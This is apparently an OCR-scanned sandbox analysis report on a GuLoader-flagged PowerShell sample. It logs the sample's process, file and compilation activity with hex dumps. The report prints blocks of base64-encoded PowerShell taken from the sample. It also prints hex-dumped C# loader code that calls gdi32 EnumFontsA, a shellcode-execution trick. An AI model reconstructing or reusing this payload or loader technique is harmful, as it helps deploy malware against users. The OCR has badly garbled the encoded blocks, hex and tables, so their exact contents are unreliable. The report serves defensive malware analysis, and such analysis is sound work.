BPADEAXQAGADOATGBOAEEADABSAGBAYWBhAHQAZQBWAGKACGBOAHUAY QBSAEOAZQBIAGBACIBSACIALQAXACWAWWBYAGUAZGBAAC
QAUgBPAFQAQQBUAEKATWBOAEYATWAZACWAMAASAFSACGBIAGYAXQAKAFIATWBUAEEAVABJAEBATgBGAESAOQASADEAMgAYADGAOA
ASADYANAAPAAOACGAJAFIAZQBZAHUANQAGAFMAawBSAGQAJABIADMAIABNAEEARWBOAEUAVABJAFMATQAGAESAYQBSAGSAQA4AC
AAQQBIAHMAYWAGAEQATWBSAEUAUWBUAEEAIABHAGSBAYQBSAHAADWAGAGAAY QBOAGIAbWBYACAAUWBSAGAAZQBYAGCAZQBOAGKAYW
AOACAARWBSAGAAY QBUAGQACGBhADEAIABLAGWAY QB2AGKAIABXAEEATgBMAE EAIABHAGUADABhACAADQBPAGWAaGBIAGUACIAGAF
QAbwBSAHMAZQB5AGWAIABIAHAAaQBWAGWAIABXAESAUgBTAEGAIABDAGSADABIAGOAIABBAGAAbgB1ADEAIABMAEUAVGBIAECAQQBUAEKATgAY
AHMAJABhAGIACWBVAGYAZgBpACAAaQBYAG8AbgAgAHUAYgBSAHUAZgBYAGQAaQBNACAADQAKACQAUGBPAFQAQQBUAEKATWBOAEYA
TWAOADOAWWBSAEBAVABBAFQASQBPAE4ARGBPADEAXQAGADOAVIBPAGEAYWAOACQAUGBPAFQAQQBUAEKATWBOAEYATWAYACWAMGAX
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Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Yara matches:

Reputation:

File Activities

File Created
File Path

C:\Users\user

C:\Users\user\AppData\Roaming

C:\Windows\system32\catroot

C:\Windows\system32\catroot2

C:\Users\user\AppData\Local\Temp\__PSscr
iptPolicyTest_1pwr2qov.bee.psl

C:\Users\user\AppData\Local\Temp\__PSscr
iptPolicyTest_0ow0x3fu.khv.psm1

C:\Users\user\Documents\20220512

C:\Users\user\Documents\20220512\PowerShell_transcr
ipt.305090.U_CXDORV.20220512133415.txt

Copyright Joe Security LLC 2022

ADQANWAOADGAMWA2ADQAOAASADEALAAWACWAMWASADEAMgA4ACWAMAAPAAOACIAJAFAAVQBNAFAARQBSAE4ASQAGAEIAUGBFAFAA
IABSAEUATgBOAEUAUWBJACAAQUBhAGIAYgBVACAAUWBOAHKADABOACAATGBhAHOAaQBZAGOAZQBZAGMAYQAZACAADABRAHQAZQBU
AGUAZABYAGEAIABBAEWARWBFAEIAUgBBAEKAUWAGAESAZQBOAHQACQB1AGKAIABQAGAAZQBIAGOAYQAJAEEAZYBNAGKAZGBOACAAABIAGOACA
BsAGBAIABTAESASQBOAEQASWBBAEEAQUAJAEYAZQBYAGAAaQBzAGUACGBIADEAIABYAGUAYWBOAGKAZgBpAGUAIABSAEEARABJAEBAQQAGAGCA
bABVAHMACWBVACAAY gBIAHQAY QBSAGKAbgBNAHMAZQAGAEYAcgBpAHQAJQBYAGUAMAGAHMAIQBIAGUAJABOAGEAJAAGAGOAZQBIAGBAIABVAG
QAYQBYAGIAZQBGAGQAZQAZACAADQAKACQAUGBPAFQAQQBUAEKATWBOAEYATWALADOAMAA7AAOACGAJAFMAJGBIAGWADGBPACAAVA
BFAFIAUgBFAFMAVABSAEKAQQAGAECACIB1AGOADQBIACAAUGBZAEQASABBAE4ARABHACAAUWBIAGMAbWBUAGQAZQAYACAACGBIAH
EAdQBpACAATQBFAFIAUWBUAEKARWBOACAARQBIAGIACGBSAGBAbgBhACAASWBVAHIACWB2AGUAagBOAHIAMWAGAGKACWBKAGSAaWBIAGQAIABT
AHUAYgBIAGEACWAOACAAdGBIAGWADABhAGIAYQBNAGIAIABUAGBAbgBMAGUACIAGAFYAaQByAHQAJQBVAHMAIABLAFIATWBQAFMAUWAGAESAQQ
BMAEYAIABBAGOAJABZAHIAYQBhAGQACWBMADYAIAANAACAWWBSAESAVABBAFQASQBPAE4ARGBPADEAXQAGADOAQWBEAEEAQWAOAC
QAUgBPAFQAQQBUAEKATWBOAEYATWAOACWAJABSAESBAVABBAFQASQBPAE4ARGBPADMALAALADCAOQAZADMALABDAHIAZQBMAFOAJA
BSAESAVABBAFQASQBPAE4ARgBPADUALAAWACKADQAKACMARABaAESAVABPAEOATQBFAFMASWAGAFUAZABZAGSACIBPAGAAZWAGAF
MAZQBAGKAYQBIADYAIABQAHUACGBSAGCAIABZAHKAJABOAGUADGBhACAASABSAGQACIAJAEUAIQBYAG EACWBPAGUACGBIAGAAIABNAHUADABO
ADMAIABVAGAACWB3AGKAbgAGAEEAZAB2AGBAaWA4ACAATQBhAHIAZQBUAGUACWBOAGEAIABUAGUADbgBKACAAUABIAGWAdgBIAHMACGB1AGEAdA
AOACAA2QBUAGQAZABhAHQAY QBMAGKADAAGAEEAaWBhAGQAZQBIAGKACWAXACAARWBBAFIAVQBEAEEAIABFAHYAZQBUAHQAJQAXAC
AAUABSAEUAUWBFAE4AVABJAEOAIABEAGKAdgB1AGWANWAGAFMACABPAGWAZABIAHYAYQAgAFMAJABSAHIAawBIACAARGBVAHQABWBOAGUADAAY
AEEAdQBOAGSAJAAIACAARQBBAFIAVAAGAEGAeQBKAHIAYQBNAGBAZWB5ACAAQYBYAGKADYBIAGUAIQASACAAVABYAGKACABSAHUAIABLIAGAAbW
ByAGEADABIAHMAIABTAGSAZQBSAGUAIAANAAOAWWBSAESBAVABBAFQASQBPAE4ARGBPADEAXQAGADOARQBUAHUADQBXAGKADYBKAG
8AdWBZzACgAJABSAESAVABBAFQASQBPAE4ARGBPADMALAAGADAAKQANAAOADQAKAA==

0xf0000

430592 bytes
DBA3E6449E97D4E3DF64527EF7012A10
true

true

.Net C# or VB.NET

e Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source:
0000000E.00000002.894432907.0000000008F80000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security

high

Access Attributes Options Completion Count Source Address Symbol
read data or list ~ device directory file | object name collision 1 6D6ACF06 unknown
directory | synchronous io
synchronize non alert | open

for backup ident

| open reparse

point
read data or list  device directory file | object name collision 1 6D6ACF06 unknown
directory | synchronous io
synchronize non alert | open

for backup ident

| open reparse

point
read data or list ~ device directory file | object name collision 1 6BA95B28 unknown
directory | synchronous io
synchronize non alert | open

for backup ident

| open reparse

point
read data or list ~ device directory file | object name collision 1 6BA95B28 unknown
directory | synchronous io
synchronize non alert | open

for backup ident

| open reparse

point
read attributes |  device sequential only |  success or wait 1 6BB31E60 CreateFileW
synchronize | synchronous io
generic write non alert | non

directory file |

open no recall
read attributes | device sequential only | ' success or wait 1 6BB31E60 CreateFilew
synchronize | synchronous io
generic write non alert | non

directory file |

open no recall
read data or list ~ device directory file | success or wait 1 6BB3BEFF CreateDirect
directory | synchronous io oryWw
synchronize non alert | open

for backup ident

| open reparse

point
read attributes | device synchronousio  success or wait 1 6BB31E60 CreateFilew

non alert | non
directory file |
open no recall

synchronize |
generic read |
generic write
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File Path Access Attributes Options Completion Count Source Address Symbol

C:\Users\user\AppData\Local\Temp\wwh3pdnv read data or list  device directory file | success or wait 1 6D10FF3C CreateDirect
directory | synchronous io oryA
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Local\Te read attributes |  device synchronous io  success or wait 1 6BB31E60 CreateFileW
mp\wwh3pdnviwwh3pdnv.tmp synchronize | non alert | non
generic write directory file |

open no recall

C:\Users\user\AppData\Local\Te read attributes |  device synchronous io  success or wait 1 6BB31E60 CreateFileW
mp\wwh3pdnv\wwh3pdnv.0.cs synchronize | non alert | non

generic read | directory file |

generic write open no recall
C:\Users\user\AppData\Local\Te read attributes |  device synchronous io  success or wait 1 6BB31E60 CreateFileW
mp\wwh3pdnv\wwh3pdnv.dll synchronize | non alert | non

generic read | directory file |

generic write open no recall
C:\Users\user\AppData\Local\Te read attributes |  device synchronous io  success or wait 1 6BB31E60 CreateFileW
mp\wwh3pdnv\wwh3pdnv.cmdline synchronize | non alert | non

generic write directory file |

open no recall

C:\Users\user\AppData\Local\Te read attributes |  device synchronous io  success or wait 1 6BB31E60 CreateFileW
mp\wwh3pdnv\wwh3pdnv.out synchronize | non alert | non
generic write directory file |

open no recall

C:\Users\user\AppData\Local\Te read attributes |  device synchronous io  success or wait 1 6BB31E60 CreateFileW
mp\wwh3pdnv\wwh3pdnv.err synchronize | non alert | non
generic write directory file |

open no recall

File Deleted

File Path Completion Count Source Address Symbol
C:\Users\user\AppData\Local\Temp\__PSscriptPolicyTest_1lpwr2gov.bee.psl success or wait 1 6BB36A95 DeleteFilew
C:\Users\user\AppData\Local\Temp\__PSscriptPolicyTest_0ow0x3fu.khv.psm1 success or wait 1 6BB36A95 DeleteFilewW
C:\Users\user\AppData\Local\Temp\wwh3pdnv\wwh3pdnv.out success or wait 1 6BB36A95 DeleteFilew
C:\Users\user\AppData\Local\Temp\wwh3pdnv\wwh3pdnv.tmp success or wait 1 6BB36A95 DeleteFilew
C:\Users\user\AppData\Local\Temp\wwh3pdnv\wwh3pdnv.dll success or wait 1 6BB36A95 DeleteFilew
C:\Users\user\AppData\Local\Temp\wwh3pdnv\wwh3pdnv.err success or wait 1 6BB36A95 DeleteFilew
C:\Users\user\AppData\Local\Temp\wwh3pdnv\wwh3pdnv.cmdline success or wait 1 6BB36A95 DeleteFilew
C:\Users\user\AppData\Local\Temp\wwh3pdnv\wwh3pdnv.0.cs success or wait 1 6BB36A95 DeleteFilew
File Written

File Path Offset Length Value Ascii Completion Count Source Address Symbol
C:\Users\user\AppData\Local\Te 0 1 31 1 success or wait 1 6BB31B4F WriteFile
mp\__PSscr

iptPolicyTest_1pwr2qov.bee.psl

C:\Users\user\AppData\Local\Te 0 1 31 1 success or wait 1 6BB31B4F WriteFile
mp\__PSscr

iptPolicyTest_0ow0x3fu.khv.psm1

unknown 0 3 75 6e 6b 6e 6f 77 6e unknown success or wait 1 6BB31B4F WriteFile
unknown 3 4096 75 6e 6b 6e 6f 77 6e unknown success or wait 5 6BB31B4F WriteFile
unknown 16387 3120 75 6e 6b 6e 6f 77 6e unknown success or wait 5 6BB31B4F WriteFile
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File Path

C:\Users\user\AppData\Local\Te
mp\wwh3pdnv\wwh3pdnv.0.cs

C:\Users\user\AppData\Local\Te
mp\wwh3pdnv\wwh3pdnv.cmdline

Copyright Joe Security LLC 2022

Offset

0

0

Length Value

871

377

ff 75 73 69 6e 67 20 53
79 73 74 65 6d 3b 0d Oa
7573 69 6e 67 20 53 79
73 74 65 6d 2e 52 75 6e
74 69 6d 65 2e 49 6e 74
65 72 6f 70 53 65 72 76
69 63 65 73 3b 0d Oa 70
7562 6¢ 69 63 20 73 74
61 74 69 63 20 63 6¢ 61
7373 2052 4f 54 41 54
49 4f 4e 46 4f 31 0d Oa
7b 0d Oa 5b 44 6¢ 6¢ 49
6d 70 6f 72 74 28 22 67
64 69 33 32 22 29 5d 70
7562 6¢ 69 63 20 73 74
6174 69 63 20 65 78 74
65 72 6e 20 49 6e 74 50
74 72 20 45 6e 75 6d 46
6f 6e 74 734128 7374
72 69 6e 67 20 66 65 72
73 6b 76 61 2c 75 69 6e
742070617261 70 6¢
65 67 2c 69 6e 74 20 44
45 50 4f 2¢ 69 6e 74 20
52 4f 54 41 54 49 4f 4e
46 4f 30 2c 69 6e 74 20
48 6f 76 65 2c 69 6e 74
206166 7465727261
6b 2c 69 6e 74 20 53 76
69 6e 67 68 6a 75 6¢ 65
31 29 3b 0d Oa 5b 44 6¢
6¢ 49 6d 70 6f

ff 2f 74 3a 6¢ 69 62 72 61
7279 20 2f 75 74 66 38
6f 75 74 70 75 74 20 2f
52 3a 225379737465
6d 2e 64 6¢ 6¢ 22 20 2f
52 3a 22 43 3a 5¢ 57 69
6e 64 6f 77 73 5¢ 4d 69
63 72 6f 73 6f 66 74 2e
4e 65 74 5¢c 61 73 73 65
6d 62 6¢ 79 5¢c 47 41 43
5f 4d 53 49 4c 5¢ 53 79
73 74 65 6d 2e 4d 61 6e
61 67 65 6d 65 6e 74 2e
4175 74 6f 6d 61 74 69
6f 6e 5¢ 76 34 2e 30 5f
33 2e 30 2e 30 2e 30 5f
5f 33 31 62 66 33 38 35
36 61 64 33 36 34 65 33
355¢ 53 79 73 74 65 6d
2e 4d 61 6e 61 67 65 6d
65 6e 74 2e 41 75 74 6f
6d 61 74 69 6f 6e 2e 64
6¢ 6¢ 22 20 2f 52 3a 22
5379 73 74 65 6d 2e 43
6f 72 65 2e 64 6¢ 6C 22
20 2f 6f 75 74 3a 22 43
3a 5¢ 55 73 65 72 73 5¢
66 72 6f 6e 74 64 65 73
6b 5¢ 41 70 70 44 61 74
61 5c 4c 6f 63 61 6¢ 5¢
54 65 6d 70 5¢ 77 77 68
3370 64 6e

Ascii Completion Count Source Address

using System;using success or wait 1 6BB31B4F
System.Runt
ime.InteropServices;publi
c static class
ROTATIONFO1{[DIlimpo
rt("gdi32")]public static
extern IntPtr
EnumFontsA(string fe
rskva,uint parapleg,int
DEPO,int
ROTATIONFOO,int
Hove,int afterrak,int
Svinghjulel);[Dllimpo

[t:library /utf8output success or wait 1 6BB31B4F
IR:"System.dlIl"
/R:"C:\Windows\Micros
oft.Net\assembly\GAC_M
SIL\Syst
em.Management.Automa
tion\v4.0_
3.0.0.0__31bf3856ad364
e35\Syst
em.Management.Automa
tion.dll"
/R:"System.Core.dIl"
Jout:"C:\
Users\user\AppData\Loc
al\Temp\wwh3pdn

Symbol

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Te
mp\wwh3pdnv\wwh3pdnv.out

Offset

0

Length Value

467

ff 43 3a 5¢ 55 73 65 72
73 5c 66 72 6f 6e 74 64
65 73 6b 5c 44 65 73 6b
74 6f70 3e 20 22 43 3a
5c 57 69 6e 64 6f 77 73
5c 4d 69 63 72 6f 73 6f
66 74 2e 4e 45 54 5¢c 46
72 61 6d 65 77 6f 72 6b
5¢ 76 34 2e 30 2e 33 30
333139 5c 637363 2e
65 78 65 22 20 2f 74 3a
6C 6962 7261 7279 20
2f 7574 66 38 6f 75 74
7075 74 20 2f 52 3a 22
5379 73 74 65 6d 2e 64
6¢ 6¢ 22 20 2f 52 3a 22
43 3a 5c 57 69 6e 64 6f
77 73 5¢ 4d 69 63 72 6f
73 6f 66 74 2e 4e 65 74
5c 61 73 73 65 6d 62 6¢
79 5c 47 41 43 5f 4d 53
49 4c 5¢ 53 79 73 74 65
6d 2e 4d 61 6e 61 67 65
6d 65 6e 74 2e 4175 74
6f 6d 61 74 69 6f 6e 5¢
76 34 2e 30 5f 33 2e 30
2e 30 2e 30 5f 5f 33 31
62 66 33 38 35 36 61 64
33 36 34 65 33 35 5¢ 53
79 73 74 65 6d 2e 4d 61
6e 61 67 65 6d 65 6e 74
2e 4175 74 6f

File Read

File Path Offset
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config  unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_32\mscorlib\a152 unknown
fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll.aux
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config ~ unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config  unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\f unknown
1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\4f0a7e unknown
efa3cd3e0ba98b5ebddbbc72e6\System.ni.dll.aux
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown
C:\Windows\SysWOWw64\WindowsPowerShell\v1.0\powershell.exe.config  unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown
C:\Windows\SysWOWw64\WindowsPowerShell\v1.0\powershell.exe.config  unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Xml\b2 unknown
19d4630d26b88041b59c21e8e2b95¢c\System.Xml.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\Microsoft.Mf4 unknown
9f6405#\ccc7¢82770f93d1392abde4be3a80378\Microsoft.Managemen
t.Infrastructure.ni.dll.aux
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Sta unknown
rtupProfileData-NonInteractive
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Sta unknown
rtupProfileData-NonInteractive
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Config unknown
uration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuratio

n.ni.dll.aux

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Mod unknown
uleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Mod unknown
uleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Mod unknown
uleAnalysisCache
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown

.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1

Copyright Joe Security LLC 2022

Ascii Completion Count Source Address

C:\Users\user\Desktop>  success or wait 1 6BB31B4F

"C:\Win

dows\Microsoft.NET\Fra

mework\v

4.0.30319\csc.exe"”

[t:library /utf8output

/R:"System.dll" /R

:"C:\Windows\Microsoft.N

et\ass

embly\GAC_MSIL\Syste

m.Manageme

nt.Automation\v4.0_3.0.0.

0_31

bf3856ad364e35\System.

Management.Auto
Length Completion Count Source Address
4095 success or wait 1 6D685705
8173 end of file 1 6D685705
4095 success or wait 1 6D685705
6135 success or wait 1 6D685705
176 success or wait 1 6D5E03DE
4095 success or wait 1 6D68CA54
8173 end of file 1 6D68CA54
4095 success or wait 1 6D68CA54
900 success or wait 1 6D5E03DE
620 success or wait 1 6D5E03DE
4095 success or wait 1 6D685705
8173 end of file 1 6D685705
4095 success or wait 1 6D685705
8173 end of file 1 6D685705
748 success or wait 1 6D5E03DE
748 success or wait 1 6D5E03DE
4095 success or wait 1 6D685705
8171 end of file 1 6D685705
64 success or wait 1 6D691F73
23116 success or wait 1 6D69203F
864 success or wait 1 6D5E03DE
4096 success or wait 1 6BB31B4F
62 success or wait 1 6BB31B4F
4096 success or wait 1 6BB31B4F
4096 success or wait 1 6BB31B4F

Symbol

WriteFile

Symbol

unknown
unknown
unknown
unknown

ReadFile

ReadFile
ReadFile
ReadFile

ReadFile

ReadFile

unknown
unknown
unknown
unknown

ReadFile

ReadFile

unknown

unknown

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile
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File Path

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psm1

C:\Users\user\AppData\Local\Temp\wwh3pdnv\wwh3pdnv.dl|

C:\Users\user\AppData\Local\Temp\rettetast.dat

Analysis Process: conhost.exe PID: 640, Parent PID: 5504

Offset

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length

637

4096

4096

128

4096

4096
57933

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

15

13:34:12

12/05/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7bab80000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

high

Analysis Process: csc.exe PID: 4164, Parent PID: 5504

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MDS5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

File Activities

File Created

File Path

c:\Users\user\AppData\Local\Te
mp\wwh3pdnv\CSC196797DCDE8F47A

0A151AAD0920D1B.TMP

File Deleted

File Path

21

13:34:46

12/05/2022

C:\Windows\Microsoft. NET\Framework\v4.0.30319\csc.exe

true

Completion

end of file

end of file

success or wait

end of file

end of file

success or wait

success or wait

Count Source Address Symbol
1 6BB31B4F ReadFile
1 6BB31B4F ReadFile
8 6BB31B4F ReadFile
1 6BB31B4F ReadFile
1 6BB31B4F ReadFile
1 6BB31B4F ReadFile
1 8C2F740 ReadFile

C:\Windows\Microsoft. NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\wwh3pdnv\wwh3pdnv.cmdline

0x890000

2170976 bytes
350C52F71BDED7B99668585C15D70EEA
true

true

.Net C# or VB.NET

moderate

Access Attributes Options

read attributes |  device
synchronize |

generic write

non alert | non
directory file

C:\Users\user\AppData\Local\Temp\wwh3pdnwW\CSC196797DCDE8F47A0A151AAD0920D1B.TMP

Copyright Joe Security LLC 2022

synchronous io

Completion

success or wait

Completion

success or wait

Count Source Address

1 8EE1E9

Count Source Address

1 909793

Symbol

CreateFilew

Symbol

DeleteFilew
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File Written

File Path

C:\Users\user\AppData\Local\Te 0 652
mp\Wwwh3pdnwW\CSC196797DCDE8F47
AO0A151AAD0920D1B.TMP

File Read
File Path

C:\Users\user\AppData\Local\Temp\wwh3pdnv\wwh3pdnv.cmdline

C:\Users\user\AppData\Local\Temp\wwh3pdnv\wwh3pdnv.0.cs

Offset Length Value Ascii

00 00 00 00 20 00 00 00

00 00 00 00 00 00 00 00
00 00 00 00 0000 00 4c  Inf
02 00 00 3c 00 00 00 fd
fd 10 00 fd fd 01 00 00 00
00 00 30 00 00 00 00 00
00 00 00 00 00 00 4c 02
34 00 00 00 56 00 53 00
5f 00 56 00 45 00 52 00
53 00 49 00 4f 00 4e 00
5f 00 49 00 4e 00 46 00
4f 00 00 00 00 00 fd 04 fd
fd 00 00 01 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 3f 00 00
00 00 00 00 00 04 00 00
00 02 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 44 00 00 00 01 00 56
00 61 00 72 00 46 00 69
00 6¢ 00 65 00 49 00 6e
00 66 00 6f 00 00 00 00
00 24 00 04 00 00 00 54
00 72 00 61 00 6e 00 73
00 6¢ 00 61 00 74 00 69
00 6f 00 6e 00 00 00 00
00 00 00 fd 04 fd 01 00
00 01 00 53 00 74 00 72
00 69 00 6e 00 67 00 46
00 69 00 6¢ 00 65 00 49
00 6e 00 66

Offset

unknown

unknown

Analysis Process: cvtres.exe PID: 5012, Parent PID: 4164

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:
File size:

MDS5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

File Activities

22

13:34:49

12/05/2022

C:\Windows\Microsoft. NET\Framework\v4.0.30319\cvtres.exe

true

L<OL4VS_VERSION_IN
fd fd 00 00 fd fd 00 00 00 FO?DVarFile
Info$TranslationStringFile

Length
377
871

Completion

success or wait

Completion

success or wait

success or wait

Count Source Address

1 90967F

Count Source Address

1 8EE638
1 8EE638

Symbol

WriteFile

Symbol
ReadFile

ReadFile

C:\Windows\Microsoft. NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\
RESBADS.tmp" “c:\Users\user\AppData\Local\Temp\wwh3pdnW\CSC196797DCDE8F47A0A151AAD0920D1B.TMP"

0x830000

43176 bytes
CO09985AE74F0882F208D75DE27770DFA
true

true

C, C++ or other language

moderate

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

File Path

File Path

Access Attributes

Offset

Offset

Copyright Joe Security LLC 2022

Length Value Ascii

Options

Length

Completion

Completion

Completion

Count Source Address

Count Source Address

Count Source Address

Symbol

Symbol

Symbol
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Disassembly

@ No disassembly
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